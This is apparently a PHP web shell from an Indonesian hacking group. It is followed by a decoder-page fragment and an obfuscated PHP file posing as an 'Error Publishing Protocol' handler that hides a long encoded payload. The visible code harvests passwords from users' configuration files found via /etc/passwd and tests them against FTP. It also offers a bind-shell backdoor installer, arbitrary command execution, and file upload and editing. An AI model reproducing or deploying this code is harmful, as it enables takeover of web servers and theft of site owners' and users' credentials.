or ($file=='connection.php')
or ($file=='connections.php')
or ($file=='configure.class.php')
or ($file=='config.class.php')
or ($file=='configuration.class.php')
or ($file=='db.class.php')
or ($file=='file_manager.php')
or ($file=='LocalSettings.php')
or ($file=='filemanager.php')
or ($file=='manager.php')
or ($file=='managers.php')
or ($file=='connect.inc.php')
or ($file=='dbconnect.inc.php'))
{
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath
$pass
";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}
function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'pwd') or strstr($line,'kode') or strstr($line,'mypassword') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}
function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[kNa gAn] '.$login.':'.$pass." W00t
";
}
else ftp_quit($ftp);
}
}
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";
echo "[+] Found ".sizeof($users)." entrys in /etc/passwd
";
echo "[+] Found ".sizeof($path_to_public)." readable public_html directories
";
echo "[~] Searching for passwords in config.* files...
";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}
echo "
[+] Udah
";
echo "</textarea><br>";
}else
echo '<center>cPanel Scan<br><a href="'.$surl.'x=cP&go=go">yupz</a> || <a href="'.$surl.'">hmm</a></center>';
}
if ($x == "sleep"){
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
Bind Port: <input type='text' name='backconnectport' value='21212'>
<input type='hidden' name='use' value='sleep'>
<input type='submit' value='Install Backdoor'></form>");
echo("$msg");
echo("$emsg");
echo("</center>");
}
if ($x == "sken"){
set_time_limit(0);
($x0b = ini_get('safe_mode') == 0) ? $x0b = 'off': die('<b>Error: Safe Mode is On</b>');
@$x0c = fopen('/etc/passwd','r');
if (!$x0c) { die('<b> Error : Can Not Read Config Of Server </b>'); }
// $x0d = array();
// $x0e = array();
// $x0f = array();
// $x10 = 0;
while(!feof($x0c)){
// baca baris...
// $x11 = fgets($x0c);
// if ($x10 < 35){
while($x11 = fgets($x0c)){
$x12 = strpos($x11,':');
$x13 = substr($x11,0,$x12);
$x14 = '/home/'.$x13.'/public_html';
if (($x13 != '')){
if (is_readable($x14)){
echo "<font face=Verdana size=2 color=#c000ff>[†] oK [†] $x14</font>";
echo "<br/>";
}
}
}
// $x10++;
}
}
echo "</td></tr></table>
";
?>
<div class=barheader2><b> Command Panel </b></div>
<table class=mainpanel>
<?php
if (!$safemode) {
?>
<tr><td align=right>Command:</td>
<td><form method="POST">
<input type=hidden name=x value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
<input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
</form>
</td></tr>
<tr><td align=right>Quick Commands:</td>
<td><form method="POST">
<input type=hidden name=x value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type=hidden name="cmd_txt" value="1">
<select name="cmd">
<?php
foreach ($cmdaliases as $als) {
echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
}
foreach ($cmdaliases2 as $als) {
echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
}
?>
</select> -
<input type=submit name=submit value="Execute">
</form>
</td></tr>
<?php
}
?>
<tr><td align=right>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
<input type=hidden name=x value="upload">
<input type=hidden name="miniform" value="1">
<input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
</form>
</td></tr>
<tr><td align=right>Make File:</td>
<td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
<input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
</form></td></tr>
<tr><td align=right>View File:</td>
<td><form method="POST"><input type=hidden name=x value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">
</form></td></tr>
</table>
<div class=barheader2 colspan=2><font color=white> jalanG byroe COMMUNITY | Indonesia HackRs <a href="http://zone-h.org/archive/notifier=jalanG" target="_blank">irc.byroe.org</a> </font></div>
</body></html>
Did this file decode correctly?
Original Code
<?php
/**
* Error Publishing Protocol
*
* @version 1.0.5-dc
*/
/**
* 500 is handling an Error Publishing Protocol request.
*
* @var bool
*/
@error_reporting(0);
@set_time_limit(0);
$error = '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